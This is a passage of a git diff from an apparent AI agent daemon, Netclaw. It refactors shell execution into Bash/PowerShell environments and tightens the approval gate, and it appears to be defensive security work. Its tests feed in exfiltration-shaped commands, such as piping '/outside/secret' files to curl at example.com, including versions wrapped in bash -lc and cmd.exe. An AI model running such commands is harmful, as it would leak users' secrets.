- var isWindows = OperatingSystem.IsWindows();
var psi = new ProcessStartInfo
{
- FileName = isWindows ? "cmd.exe" : "/bin/bash",
+ FileName = _environment.Executable,
RedirectStandardOutput = true,
RedirectStandardError = true,
RedirectStandardInput = true,
@@ -73,16 +77,9 @@ protected override async Task ExecuteAsync(Params args, ToolInvocationCo
CreateNoWindow = true
};
- if (isWindows)
- {
- psi.ArgumentList.Add("/c");
- psi.ArgumentList.Add(args.Command);
- }
- else
- {
- psi.ArgumentList.Add("-c");
- psi.ArgumentList.Add(args.Command);
- }
+ foreach (var argument in _environment.CommandArguments)
+ psi.ArgumentList.Add(argument);
+ psi.ArgumentList.Add(args.Command);
// Resolve working directory in priority order: explicit arg →
// WorkingContext.ProjectDirectory (declared via set_working_directory)
@@ -124,7 +121,9 @@ or UnauthorizedAccessException
if (File.Exists(resolvedCwd))
return $"Error: Working directory '{resolvedCwd}' is a file, not a directory.";
- var mkdirHint = isWindows ? $"mkdir \"{resolvedCwd}\"" : $"mkdir -p \"{resolvedCwd}\"";
+ var mkdirHint = _environment.Grammar == ShellGrammar.PowerShell
+ ? $"New-Item -ItemType Directory -Path '{resolvedCwd}'"
+ : $"mkdir -p \"{resolvedCwd}\"";
return $"Error: Working directory '{resolvedCwd}' does not exist. "
+ $"Create it first, e.g.: {mkdirHint}";
}
@@ -142,14 +141,18 @@ or UnauthorizedAccessException
{
process = Process.Start(psi)!;
}
+ catch (Win32Exception ex) when (ex.NativeErrorCode == 2)
+ {
+ return $"Error: Required {_environment.Grammar} shell '{_environment.Executable}' was not found. Install it and ensure it is available on PATH.";
+ }
catch (Exception ex)
{
return $"Error starting process: {ex.Message}";
}
// Start the timeout countdown only after the shell process exists, so
- // process-spawn overhead (heavier on Windows: cmd.exe plus the child it
- // execs) is not charged against the command's execution budget.
+ // process-spawn overhead is not charged against the command's execution
+ // budget.
timeoutCts.CancelAfter(effectiveTimeout);
using (process)
@@ -298,10 +301,9 @@ private async Task ExecuteStreamCoreAsync(
return;
}
- var isWindows = OperatingSystem.IsWindows();
var psi = new ProcessStartInfo
{
- FileName = isWindows ? "cmd.exe" : "/bin/bash",
+ FileName = _environment.Executable,
RedirectStandardOutput = true,
RedirectStandardError = true,
RedirectStandardInput = true,
@@ -309,16 +311,9 @@ private async Task ExecuteStreamCoreAsync(
CreateNoWindow = true
};
- if (isWindows)
- {
- psi.ArgumentList.Add("/c");
- psi.ArgumentList.Add(args.Command);
- }
- else
- {
- psi.ArgumentList.Add("-c");
- psi.ArgumentList.Add(args.Command);
- }
+ foreach (var argument in _environment.CommandArguments)
+ psi.ArgumentList.Add(argument);
+ psi.ArgumentList.Add(args.Command);
var resolvedCwd = context.ResolveShellCwd(args.WorkingDirectory);
if (!string.IsNullOrWhiteSpace(resolvedCwd))
@@ -349,7 +344,9 @@ or UnauthorizedAccessException
return;
}
- var mkdirHint = isWindows ? $"mkdir \"{resolvedCwd}\"" : $"mkdir -p \"{resolvedCwd}\"";
+ var mkdirHint = _environment.Grammar == ShellGrammar.PowerShell
+ ? $"New-Item -ItemType Directory -Path '{resolvedCwd}'"
+ : $"mkdir -p \"{resolvedCwd}\"";
output.TryWrite(new ToolCompletedUpdate(
$"Error: Working directory '{resolvedCwd}' does not exist. "
+ $"Create it first, e.g.: {mkdirHint}"));
@@ -364,6 +361,12 @@ or UnauthorizedAccessException
{
process = Process.Start(psi)!;
}
+ catch (Win32Exception ex) when (ex.NativeErrorCode == 2)
+ {
+ output.TryWrite(new ToolCompletedUpdate(
+ $"Error: Required {_environment.Grammar} shell '{_environment.Executable}' was not found. Install it and ensure it is available on PATH."));
+ return;
+ }
catch (Exception ex)
{
output.TryWrite(new ToolCompletedUpdate($"Error starting process: {ex.Message}"));
diff --git a/src/Netclaw.Actors/Tools/ToolAccessPolicy.cs b/src/Netclaw.Actors/Tools/ToolAccessPolicy.cs
index 28952072f..071bdecdf 100644
--- a/src/Netclaw.Actors/Tools/ToolAccessPolicy.cs
+++ b/src/Netclaw.Actors/Tools/ToolAccessPolicy.cs
@@ -18,17 +18,19 @@ public sealed class ToolAccessPolicy
private readonly ToolConfig _toolConfig;
private readonly EffectivePolicyDefaults _defaults;
private readonly ToolAudienceProfileResolver _profileResolver;
- private readonly ShellCommandPolicy? _shellCommandPolicy;
+ private readonly ShellCommandPolicy _shellCommandPolicy;
private readonly ToolPathPolicy? _toolPathPolicy;
private readonly IShellTrustZonePolicy? _shellTrustZonePolicy;
private readonly IToolApprovalMatcher _fileApprovalMatcher;
private readonly FeatureGates _featureGates;
private readonly ScopedShellSafeVerbPolicy? _safeVerbPolicy;
+ private readonly ShellApprovalMatcher _shellApprovalMatcher;
+ private readonly ShellExecutionEnvironment _shellEnvironment;
public ToolAccessPolicy(
ToolConfig toolConfig,
EffectivePolicyDefaults defaults,
- ShellCommandPolicy? shellCommandPolicy = null,
+ ShellCommandPolicy shellCommandPolicy,
IToolApprovalMatcher? fileApprovalMatcher = null,
ToolPathPolicy? toolPathPolicy = null,
FeatureGates? featureGates = null,
@@ -39,6 +41,8 @@ public ToolAccessPolicy(
_defaults = defaults;
_profileResolver = new ToolAudienceProfileResolver(toolConfig);
_shellCommandPolicy = shellCommandPolicy;
+ _shellEnvironment = shellCommandPolicy.ExecutionEnvironment;
+ _shellApprovalMatcher = new ShellApprovalMatcher(_shellEnvironment);
_toolPathPolicy = toolPathPolicy;
_shellTrustZonePolicy = shellTrustZonePolicy;
_fileApprovalMatcher = fileApprovalMatcher ?? DefaultApprovalMatcher.Instance;
@@ -135,7 +139,7 @@ public ToolAccessDecision AuthorizeInvocation(
return ToolAccessDecision.Deny("shell_requires_personal_context");
var shellCommand = ExtractShellCommand(arguments);
- if (_shellCommandPolicy is not null && shellCommand is not null)
+ if (shellCommand is not null)
{
var hardDenyDecision = _shellCommandPolicy.Evaluate(shellCommand);
if (!hardDenyDecision.Allowed)
@@ -167,7 +171,7 @@ public ToolAccessDecision AuthorizeInvocation(
}
}
- return CheckApprovalGate(toolName, context, arguments, ShellApprovalMatcher.Instance);
+ return CheckApprovalGate(toolName, context, arguments, _shellApprovalMatcher);
}
///
@@ -193,13 +197,20 @@ public ToolAccessDecision AuthorizeInvocation(
return ToolAccessDecision.Deny("shell_working_directory_outside_trust_zone");
}
- var pathTokens = ExtractShellPathTokens(shellCommand);
+ if (!_shellEnvironment.TryExtractStaticPathTokens(
+ shellCommand,
+ workingDirectory,
+ out var pathTokens))
+ {
+ return ToolAccessDecision.Deny("shell_command_has_unresolved_syntax");
+ }
+
if (pathTokens.Count == 0)
return null;
foreach (var pathToken in pathTokens)
{
- var expanded = ShellTokenizer.NormalizePathToken(pathToken, workingDirectory);
+ var expanded = _shellEnvironment.NormalizePathToken(pathToken, workingDirectory);
if (expanded is null)
continue;
@@ -210,31 +221,21 @@ public ToolAccessDecision AuthorizeInvocation(
return null;
}
- private static IReadOnlyList ExtractShellPathTokens(string shellCommand)
+ private bool ShellCommandHasTrustZoneSensitiveInputs(string shellCommand, string? workingDirectory)
+ => !string.IsNullOrWhiteSpace(workingDirectory)
+ || ShellCommandHasPathArguments(shellCommand, workingDirectory);
+
+ private bool ShellCommandHasPathArguments(string shellCommand, string? workingDirectory)
{
- var pathTokens = new List();
- foreach (var segment in ShellTokenizer.GetAllCommandSegments(shellCommand))
+ if (!_shellEnvironment.TryExtractStaticPathTokens(
+ shellCommand,
+ workingDirectory,
+ out var pathTokens))
{
- foreach (var token in ShellTokenizer.Tokenize(segment))
- {
- var trimmed = TrimShellTokenPunctuation(token);
- if (ShellTokenizer.LooksLikePath(trimmed))
- pathTokens.Add(trimmed);
- }
+ return true;
}
- return pathTokens;
- }
-
- private static bool ShellCommandHasTrustZoneSensitiveInputs(string shellCommand, string? workingDirectory)
- => !string.IsNullOrWhiteSpace(workingDirectory) || ShellCommandHasPathArguments(shellCommand);
-
- private static string TrimShellTokenPunctuation(string token)
- => token.Trim().TrimStart(';', '|', '&').TrimEnd(';', '|', '&');
-
- private static bool ShellCommandHasPathArguments(string shellCommand)
- {
- foreach (var token in ExtractShellPathTokens(shellCommand))
+ foreach (var token in pathTokens)
{
if (!string.IsNullOrWhiteSpace(token))
return true;
diff --git a/src/Netclaw.Cli.Tests/Tui/ChatPageTests.cs b/src/Netclaw.Cli.Tests/Tui/ChatPageTests.cs
index 0f071ef8b..9e98a42e9 100644
--- a/src/Netclaw.Cli.Tests/Tui/ChatPageTests.cs
+++ b/src/Netclaw.Cli.Tests/Tui/ChatPageTests.cs
@@ -353,7 +353,8 @@ public async Task LargeMcpApproval_RenderedFrameSnapshot()
DeploymentPosture.Personal,
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
- UsedStrictFallback: false));
+ UsedStrictFallback: false),
+ new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
var executionContext = new ToolExecutionContext(
new ToolRunScope
{
diff --git a/src/Netclaw.Configuration.Tests/FileSystemPromptProviderAudienceTests.cs b/src/Netclaw.Configuration.Tests/FileSystemPromptProviderAudienceTests.cs
index f1229c2ea..994546d0e 100644
--- a/src/Netclaw.Configuration.Tests/FileSystemPromptProviderAudienceTests.cs
+++ b/src/Netclaw.Configuration.Tests/FileSystemPromptProviderAudienceTests.cs
@@ -68,6 +68,8 @@ public void Team_and_Personal_audience_get_full_agents_with_all_sections(TrustAu
Assert.Contains("Identity Files", prompt);
Assert.Contains("Scheduling", prompt);
Assert.Contains("Skill Loading", prompt);
+ Assert.Contains("Shell Environment", prompt);
+ Assert.Contains("execution_environment", prompt);
}
[Fact]
@@ -78,6 +80,7 @@ public void Public_audience_does_not_include_tooling()
// TOOLING.md content is written in the fixture — verify it is suppressed
Assert.DoesNotContain("Host Environment", prompt);
Assert.DoesNotContain("Shell: bash", prompt);
+ Assert.DoesNotContain("execution_environment", prompt);
}
[Theory]
diff --git a/src/Netclaw.Configuration/Resources/AGENTS.md b/src/Netclaw.Configuration/Resources/AGENTS.md
index e322bb40d..7f1379719 100644
--- a/src/Netclaw.Configuration/Resources/AGENTS.md
+++ b/src/Netclaw.Configuration/Resources/AGENTS.md
@@ -57,6 +57,14 @@ pointing at `set_working_directory `. Read the hint, call the tool with
the directory the user is asking about, then retry the original shell call —
do not re-prompt the user.
+## Shell Environment
+
+Before composing a shell command, read `execution_environment` in the current
+`[working-context]`. Use its declared `preferred_grammar` and `path_style`.
+Never assume Bash, translate commands between grammars, or mix Bash and
+PowerShell syntax. If the environment block is absent, do not invent a shell;
+use a non-shell tool or report that shell grounding is unavailable.
+
## Grounding Rules
- Never state runtime facts (versions, status, availability) without checking with a tool.
diff --git a/src/Netclaw.Configuration/SafeVerbs/safe-verbs.windows.json b/src/Netclaw.Configuration/SafeVerbs/safe-verbs.windows.json
index 660fae725..03d642e19 100644
--- a/src/Netclaw.Configuration/SafeVerbs/safe-verbs.windows.json
+++ b/src/Netclaw.Configuration/SafeVerbs/safe-verbs.windows.json
@@ -1,5 +1,5 @@
{
- "$comment": "Bundled defaults for shell verbs the approval gate auto-allows on Windows when invoked inside a trusted zone (per-audience trustedZones + session_dir + audience baseline). Each entry is a verb chain matched by exact equality against the shell parser's verb-chain extraction. Includes both cmd.exe builtins and PowerShell read-only cmdlets, plus the same git/gh read subcommands as the Linux list. Inclusion bar: a verb is listed only if it cannot write or delete files, cannot execute arbitrary code, cannot POST/PATCH/DELETE to a network endpoint, and cannot expose credential-bearing ambient state (the process environment or the process table). Mutating and command-prefixing verbs are intentionally absent. Environment- and process-inspection verbs (Get-Process and the like) are intentionally absent — they expose other processes' state, which the safe-space gate cannot scope. gh auth status is absent because its --show-token form prints the GitHub token and flags are stripped from verb-chain matching. This list is immutable at runtime: no on-disk override file is read. Widening the list goes through code review and a daemon release so the agent cannot extend its own auto-pass surface via file writes.",
+ "$comment": "Bundled defaults for shell verbs the approval gate auto-allows on Windows when invoked inside a trusted zone (per-audience trustedZones + session_dir + audience baseline). Each entry is a verb chain matched by exact equality against the PowerShell parser's canonical verb-chain extraction. Includes read-only PowerShell cmdlets and aliases, native read-only utilities, and the same git/gh read subcommands as the Linux list. Inclusion bar: a verb is listed only if it cannot write or delete files, cannot execute arbitrary code, cannot POST/PATCH/DELETE to a network endpoint, and cannot expose credential-bearing ambient state (the process environment or the process table). Mutating and command-prefixing verbs are intentionally absent. Environment- and process-inspection verbs (Get-Process and the like) are intentionally absent — they expose other processes' state, which the safe-space gate cannot scope. gh auth status is absent because its --show-token form prints the GitHub token and flags are stripped from verb-chain matching. This list is immutable at runtime: no on-disk override file is read. Widening the list goes through code review and a daemon release so the agent cannot extend its own auto-pass surface via file writes.",
"verbs": [
"cd",
"chdir",
diff --git a/src/Netclaw.Daemon.Tests/Mcp/ToolIndexUpdaterTests.cs b/src/Netclaw.Daemon.Tests/Mcp/ToolIndexUpdaterTests.cs
index 08843852e..7f6db70ee 100644
--- a/src/Netclaw.Daemon.Tests/Mcp/ToolIndexUpdaterTests.cs
+++ b/src/Netclaw.Daemon.Tests/Mcp/ToolIndexUpdaterTests.cs
@@ -9,6 +9,7 @@
using Netclaw.Actors.Tools;
using Netclaw.Configuration;
using Netclaw.Daemon.Mcp;
+using Netclaw.Security;
using Netclaw.Tests.Utilities;
using Xunit;
@@ -68,6 +69,7 @@ public async Task StartAsync_keeps_public_tool_index_filtered_from_hidden_capabi
TrustAudience.Public,
ShellExecutionMode.Off,
UsedStrictFallback: true),
+ shellCommandPolicy: new ShellCommandPolicy(ShellExecutionEnvironment.Current),
featureGates: new FeatureGates(SubAgentsEnabled: false, SchedulingEnabled: false));
var registry = new ToolRegistry();
registry.Register(AIFunctionFactory.Create(() => "ok", "file_read"), "file");
diff --git a/src/Netclaw.Daemon/Program.cs b/src/Netclaw.Daemon/Program.cs
index 35ccbf7bf..b0b7868f7 100644
--- a/src/Netclaw.Daemon/Program.cs
+++ b/src/Netclaw.Daemon/Program.cs
@@ -619,11 +619,16 @@ static void ConfigureDaemonServices(
var hardDenyOverrides = hardDenyOverridesLoader.Load(paths.HardDenyOverridesPath);
services.AddSingleton(hardDenyOverridesLoader);
- var shellCommandPolicy = new ShellCommandPolicy(toolConfig.HardDenyPatterns, hardDenyOverrides);
+ var shellEnvironment = ShellExecutionEnvironment.Current;
+ services.AddSingleton(shellEnvironment);
+ services.AddSingleton(shellEnvironment.Parser);
+
+ var shellCommandPolicy = new ShellCommandPolicy(
+ shellEnvironment,
+ toolConfig.HardDenyPatterns,
+ hardDenyOverrides);
services.AddSingleton(shellCommandPolicy);
- services.AddShellParser();
-
// Subagent timeout configuration
var subAgentConfig = configuration.GetSection("SubAgents")
.Get() ?? new SubAgentConfig();
@@ -663,9 +668,6 @@ static void ConfigureDaemonServices(
var safeVerbs = SafeVerbLoader.Load();
services.AddSingleton(safeVerbs);
- var bashParser = new BashParser();
- services.AddSingleton(bashParser);
-
var toolAccessPolicy = new ToolAccessPolicy(
toolConfig,
effectivePolicyDefaults,
@@ -858,6 +860,7 @@ static void ConfigureDaemonServices(
// Current time context layer — transient per-turn grounding for date/time-sensitive prompts
services.AddSingleton();
services.AddSingleton();
+ services.AddSingleton();
services.AddSingleton();
// Expose all context layers as IReadOnlyList for actor DI resolution
diff --git a/src/Netclaw.Security.Tests/ShellApprovalMatcherMultilineTests.cs b/src/Netclaw.Security.Tests/ShellApprovalMatcherMultilineTests.cs
index 130e0958f..fa21e4ce1 100644
--- a/src/Netclaw.Security.Tests/ShellApprovalMatcherMultilineTests.cs
+++ b/src/Netclaw.Security.Tests/ShellApprovalMatcherMultilineTests.cs
@@ -10,9 +10,8 @@ namespace Netclaw.Security.Tests;
///
/// Multi-line shell command coverage for .
-/// A bare newline separates statements; on POSIX both ExtractPatterns
-/// and ExtractCandidates route through BashParser, so a multi-line
-/// command decomposes into one approval unit per statement.
+/// A bare newline separates statements in both supported grammars, so a
+/// multi-line command decomposes into one approval unit per statement.
///
public sealed class ShellApprovalMatcherMultilineTests
{
@@ -20,14 +19,9 @@ public sealed class ShellApprovalMatcherMultilineTests
private static Dictionary Args(string command) => new() { ["Command"] = command };
- ///
- /// xunit.v3 SkipUnless hook: the matcher routes through BashParser
- /// on POSIX only — the Windows path uses the legacy newline-blind
- /// ShellTokenizer splitter, so these assertions don't hold there.
- ///
public static bool IsPosix => !OperatingSystem.IsWindows();
- [Fact(SkipUnless = nameof(IsPosix), Skip = "POSIX-only — matcher routes through BashParser on POSIX")]
+ [Fact]
public void ExtractPatterns_multiline_command_splits_one_unit_per_statement()
{
// A bare newline separates statements, so a multi-line command
@@ -41,7 +35,7 @@ public void ExtractPatterns_multiline_command_splits_one_unit_per_statement()
Assert.Contains("git status", patterns);
}
- [Fact(SkipUnless = nameof(IsPosix), Skip = "POSIX-only — matcher routes through BashParser on POSIX")]
+ [Fact]
public void ExtractPatterns_multiline_collapses_blank_lines()
{
var patterns = _matcher.ExtractPatterns(new ToolName("shell_execute"),
@@ -52,7 +46,7 @@ public void ExtractPatterns_multiline_collapses_blank_lines()
Assert.Contains("echo b", patterns);
}
- [Fact(SkipUnless = nameof(IsPosix), Skip = "POSIX-only — matcher routes through BashParser on POSIX")]
+ [Fact]
public void ExtractPatterns_multiline_keeps_pipe_within_a_statement()
{
// A pipe stays inside one approval unit; the newline still splits
diff --git a/src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs b/src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs
index 3f68c194c..af5ad33ee 100644
--- a/src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs
+++ b/src/Netclaw.Security.Tests/ShellApprovalMatcherTests.cs
@@ -27,13 +27,9 @@ public sealed class ShellApprovalMatcherTests
private static ApprovalEntry InDir(string verb, string dir) => new(verb) { Directory = dir };
///
- /// xunit.v3 SkipUnless hook for POSIX-only tests. The v2
- /// matcher falls through to the legacy ShellTokenizer path
- /// on Windows (ShellSyntaxTree is bash-only), so tests that pin
- /// BashParser cwd attribution / arg.Resolved canonicalization
- /// don't apply. Marking them [Fact(SkipUnless = nameof(IsPosix), Skip = "POSIX-only — matcher routes through BashParser on POSIX")]
- /// produces a proper "Skipped" entry in the test log on Windows
- /// runners instead of hiding the gap behind an early-return.
+ /// xunit.v3 SkipUnless hook for tests whose command and expected
+ /// path shape are specifically Bash/POSIX. Cross-grammar behavior has
+ /// separate PowerShell coverage below.
///
public static bool IsPosix => !OperatingSystem.IsWindows();
@@ -340,17 +336,13 @@ public void FormatForDisplay_heredoc_falls_back_to_flattened_raw_command()
}
[Fact(SkipUnless = nameof(IsPosix), Skip = "POSIX-only — matcher routes through BashParser on POSIX")]
- public void ExtractPatterns_redirect_target_with_line_break_terminates_pattern()
+ public void ExtractPatterns_dynamic_redirect_target_is_not_persistable()
{
- // A quoted redirect target carrying an embedded newline must not
- // reach the stored pattern — quote-aware normalization would
- // otherwise preserve the break verbatim (`echo hi >> $LOGDIR\nfile`).
- var patterns = _matcher.ExtractPatterns(new ToolName("shell_execute"),
- Args("echo hi >> \"$LOGDIR\nfile\""));
+ var toolName = new ToolName("shell_execute");
+ var arguments = Args("echo hi >> \"$LOGDIR\nfile\"");
- Assert.Single(patterns);
- Assert.DoesNotContain('\n', patterns[0]);
- Assert.Equal("echo hi", patterns[0]);
+ Assert.Empty(_matcher.ExtractPatterns(toolName, arguments));
+ Assert.True(_matcher.IsMessy(toolName, arguments));
}
[Fact(SkipUnless = nameof(IsPosix), Skip = "POSIX-only — matcher routes through BashParser on POSIX")]
@@ -455,9 +447,8 @@ public void IsApproved_returns_false_for_messy_command_even_with_global_wildcard
[Fact]
public void ExtractPatterns_strips_bare_integer_positional_arguments()
{
- // BashParser is bash-only, so on Windows the matcher falls through to
- // the legacy ShellTokenizer path. This test exercises the POSIX path.
- // Windows skips with a pass to keep the test active (no Slopwatch SW001).
+ // This command shape is Bash-specific; PowerShell grammar has separate
+ // value and alias coverage below.
if (OperatingSystem.IsWindows()) return;
// The approval pattern for `freshdesk ticket get 123` should be
@@ -533,13 +524,7 @@ public sealed class ShellApprovalMatcherPathExtractionTests
private static Dictionary Args(string command) => new() { ["Command"] = command };
///
- /// xunit.v3 SkipUnless hook for POSIX-only tests. The v2
- /// matcher falls through to the legacy ShellTokenizer path
- /// on Windows (ShellSyntaxTree is bash-only), so tests that pin
- /// BashParser cwd attribution / arg.Resolved canonicalization
- /// don't apply. Marking them [Fact(SkipUnless = nameof(IsPosix), Skip = "POSIX-only — matcher routes through BashParser on POSIX")]
- /// produces a proper "Skipped" entry in the test log on Windows
- /// runners instead of hiding the gap behind an early-return.
+ /// xunit.v3 SkipUnless hook for Bash/POSIX path fixtures.
///
public static bool IsPosix => !OperatingSystem.IsWindows();
@@ -900,11 +885,10 @@ public void ExtractCandidates_normalizes_tilde_cd_to_absolute_path_so_clauses_sh
}
[Fact(SkipUnless = nameof(IsPosix), Skip = "POSIX-only path semantics")]
- public void ExtractCandidates_collapses_pipe_chain_into_single_candidate()
+ public void ExtractCandidates_includes_every_pipe_clause()
{
- // Pipes stay inside one approval unit — approving cat /etc/hosts
- // | wc -l shouldn't prompt twice. Compare with && which DOES
- // produce independent units.
+ // A pipeline may render as one approval unit, but each executable
+ // clause remains an independent security candidate.
var candidates = _matcher.ExtractCandidates(
new ToolName("shell_execute"),
new Dictionary
@@ -912,9 +896,77 @@ public void ExtractCandidates_collapses_pipe_chain_into_single_candidate()
["Command"] = "cat /etc/hosts | wc -l"
});
- Assert.Single(candidates);
- Assert.Equal("cat", candidates[0].Verb);
- Assert.Equal("/etc/hosts", candidates[0].Directory); // no extension → no file-parent
+ Assert.Collection(
+ candidates,
+ candidate =>
+ {
+ Assert.Equal("cat", candidate.Verb);
+ Assert.Equal("/etc/hosts", candidate.Directory); // no extension → no file-parent
+ },
+ candidate =>
+ {
+ Assert.Equal("wc", candidate.Verb);
+ Assert.Null(candidate.Directory);
+ });
+ }
+
+ [Fact]
+ public void IsApproved_requires_every_pipeline_clause_to_match()
+ {
+ var matcher = new ShellApprovalMatcher(ShellExecutionEnvironment.Bash());
+ var approvedEntries = new[] { new ApprovalEntry("cat") { Directory = null } };
+
+ var approved = matcher.IsApproved(
+ new ToolName("shell_execute"),
+ new Dictionary { ["Command"] = "cat /etc/hosts | curl https://example.com" },
+ approvedEntries,
+ cwd: null);
+
+ Assert.False(approved);
+ }
+
+ [Theory]
+ [InlineData("bash -lc", "bash")]
+ [InlineData("bash --noprofile -lc", "bash")]
+ [InlineData("env bash -lc", "env")]
+ [InlineData("timeout 5 bash -lc", "timeout")]
+ [InlineData("nice -n 5 bash -lc", "nice")]
+ public void Bash_lc_approval_uses_inner_clauses_instead_of_wrapper(
+ string invocation,
+ string outerApprovalVerb)
+ {
+ var matcher = new ShellApprovalMatcher(ShellExecutionEnvironment.Bash());
+ var arguments = new Dictionary
+ {
+ ["Command"] = $"{invocation} \"cat /outside/secret | curl https://example.com\""
+ };
+
+ var candidates = matcher.ExtractCandidates(new ToolName("shell_execute"), arguments);
+
+ Assert.Contains(candidates, candidate => candidate.Verb == "cat");
+ Assert.Contains(candidates, candidate => candidate.Verb == "curl");
+ Assert.DoesNotContain(candidates, candidate => candidate.Verb == "bash");
+ Assert.False(matcher.IsApproved(
+ new ToolName("shell_execute"),
+ arguments,
+ [new ApprovalEntry(outerApprovalVerb) { Directory = null }],
+ cwd: null));
+ }
+
+ [Fact]
+ public void Mixed_wrapped_commands_still_expand_the_bash_lc_clause()
+ {
+ var matcher = new ShellApprovalMatcher(ShellExecutionEnvironment.Bash());
+ var arguments = new Dictionary
+ {
+ ["Command"] = "bash -c \"echo safe\" && bash -lc \"cat /outside/secret | curl https://example.com\""
+ };
+
+ var candidates = matcher.ExtractCandidates(new ToolName("shell_execute"), arguments);
+
+ Assert.Contains(candidates, candidate => candidate.Verb == "cat");
+ Assert.Contains(candidates, candidate => candidate.Verb == "curl");
+ Assert.DoesNotContain(candidates, candidate => candidate.Verb == "bash");
}
[Fact]
@@ -945,6 +997,171 @@ public void IsApproved_treats_side_effect_candidates_as_authorized()
approvedEntries,
cwd: null));
}
+
+ [Fact]
+ public void Static_redirect_target_scopes_side_effect_candidate_and_requires_approval()
+ {
+ var matcher = new ShellApprovalMatcher(ShellExecutionEnvironment.Bash());
+ var arguments = new Dictionary
+ {
+ ["Command"] = "echo owned > /tmp/netclaw-out.txt"
+ };
+
+ var candidate = Assert.Single(matcher.ExtractCandidates(new ToolName("shell_execute"), arguments));
+
+ Assert.Equal("echo", candidate.Verb);
+ Assert.Equal("/tmp", candidate.Directory);
+ Assert.False(ApprovalPatternMatching.IsPureSideEffect(candidate));
+ Assert.False(matcher.IsApproved(
+ new ToolName("shell_execute"),
+ arguments,
+ approvedEntries: [],
+ cwd: null));
+ }
+
+ [Fact]
+ public void PowerShell_pipeline_uses_canonical_alias_and_includes_tail()
+ {
+ var matcher = new ShellApprovalMatcher(ShellExecutionEnvironment.PowerShell());
+
+ var candidates = matcher.ExtractCandidates(
+ new ToolName("shell_execute"),
+ new Dictionary { ["Command"] = "gci | Get-Date" });
+
+ Assert.Collection(
+ candidates,
+ candidate => Assert.Equal("Get-ChildItem", candidate.Verb),
+ candidate => Assert.Equal("Get-Date", candidate.Verb));
+ }
+
+ [Fact]
+ public void PowerShell_relative_path_uses_parser_working_directory()
+ {
+ var matcher = new ShellApprovalMatcher(ShellExecutionEnvironment.PowerShell());
+ var candidates = matcher.ExtractCandidates(
+ new ToolName("shell_execute"),
+ new Dictionary
+ {
+ ["Command"] = @"gci .\logs",
+ ["WorkingDirectory"] = @"C:\work"
+ });
+
+ var candidate = Assert.Single(candidates);
+ Assert.Equal("Get-ChildItem", candidate.Verb);
+ Assert.Equal("C:/work/logs", candidate.Directory);
+ }
+
+ [Fact]
+ public void PowerShell_scoped_approval_round_trips_through_store_and_matcher()
+ {
+ var root = Path.Combine(Path.GetTempPath(), $"netclaw-pwsh-approval-{Guid.NewGuid():N}");
+ var approvedDirectory = Path.Combine(root, "approved");
+ var outsideDirectory = Path.Combine(root, "outside");
+ var file = Path.Combine(root, "tool-approvals.json");
+ Directory.CreateDirectory(approvedDirectory);
+ Directory.CreateDirectory(outsideDirectory);
+
+ try
+ {
+ var matcher = new ShellApprovalMatcher(ShellExecutionEnvironment.PowerShell());
+ var arguments = new Dictionary
+ {
+ ["Command"] = @"gci .\approved",
+ ["WorkingDirectory"] = root
+ };
+ var candidate = Assert.Single(matcher.ExtractCandidates(new ToolName("shell_execute"), arguments));
+ var store = new ToolApprovalStore(file);
+ store.AddApproval(
+ TrustAudience.Personal,
+ "shell_execute",
+ new ApprovalEntry(candidate.Verb) { Directory = candidate.Directory });
+
+ var reloaded = new ToolApprovalStore(file)
+ .GetApprovedEntries(TrustAudience.Personal, "shell_execute");
+
+ Assert.True(matcher.IsApproved(
+ new ToolName("shell_execute"), arguments, reloaded, root));
+ Assert.False(matcher.IsApproved(
+ new ToolName("shell_execute"),
+ new Dictionary
+ {
+ ["Command"] = $"gci '{outsideDirectory}'",
+ ["WorkingDirectory"] = root
+ },
+ reloaded,
+ root));
+ }
+ finally
+ {
+ Directory.Delete(root, recursive: true);
+ }
+ }
+
+ [Fact]
+ public void PowerShell_dynamic_invocation_is_messy_and_not_persistable()
+ {
+ var matcher = new ShellApprovalMatcher(ShellExecutionEnvironment.PowerShell());
+ var arguments = new Dictionary { ["Command"] = "& $command --version" };
+
+ Assert.True(matcher.IsMessy(new ToolName("shell_execute"), arguments));
+ Assert.Empty(matcher.ExtractCandidates(new ToolName("shell_execute"), arguments));
+ }
+
+ [Fact]
+ public void PowerShell_dynamic_operand_is_messy_and_not_persistable()
+ {
+ var matcher = new ShellApprovalMatcher(ShellExecutionEnvironment.PowerShell());
+ var arguments = new Dictionary
+ {
+ ["Command"] = @"Get-Content $env:TEMP\secret.txt"
+ };
+
+ Assert.True(matcher.IsMessy(new ToolName("shell_execute"), arguments));
+ Assert.Empty(matcher.ExtractCandidates(new ToolName("shell_execute"), arguments));
+ Assert.False(matcher.IsApproved(
+ new ToolName("shell_execute"),
+ arguments,
+ [new ApprovalEntry("Get-Content") { Directory = null }],
+ cwd: null));
+ }
+
+ [Fact]
+ public void PowerShell_cmd_wrapper_is_unresolved_and_cannot_reuse_outer_approval()
+ {
+ var matcher = new ShellApprovalMatcher(ShellExecutionEnvironment.PowerShell());
+ var arguments = new Dictionary
+ {
+ ["Command"] = @"cmd.exe /c ""type C:\outside\secret.txt & curl https://example.com"""
+ };
+
+ Assert.True(matcher.IsMessy(new ToolName("shell_execute"), arguments));
+ Assert.Empty(matcher.ExtractCandidates(new ToolName("shell_execute"), arguments));
+ Assert.False(matcher.IsApproved(
+ new ToolName("shell_execute"),
+ arguments,
+ [new ApprovalEntry("cmd.exe") { Directory = null }],
+ cwd: null));
+ }
+
+ [Theory]
+ [InlineData("dir", "Get-ChildItem")]
+ [InlineData("type", "Get-Content")]
+ public void Legacy_PowerShell_alias_approval_fails_visibly_after_canonicalization(
+ string alias,
+ string canonicalVerb)
+ {
+ var matcher = new ShellApprovalMatcher(ShellExecutionEnvironment.PowerShell());
+ var arguments = new Dictionary { ["Command"] = alias };
+
+ var candidate = Assert.Single(matcher.ExtractCandidates(new ToolName("shell_execute"), arguments));
+
+ Assert.Equal(canonicalVerb, candidate.Verb);
+ Assert.False(matcher.IsApproved(
+ new ToolName("shell_execute"),
+ arguments,
+ [new ApprovalEntry(alias) { Directory = null }],
+ cwd: null));
+ }
}
public sealed class DefaultApprovalMatcherTests
diff --git a/src/Netclaw.Security.Tests/ShellCommandPolicyOverrideTests.cs b/src/Netclaw.Security.Tests/ShellCommandPolicyOverrideTests.cs
index c0518f7ee..2c6374436 100644
--- a/src/Netclaw.Security.Tests/ShellCommandPolicyOverrideTests.cs
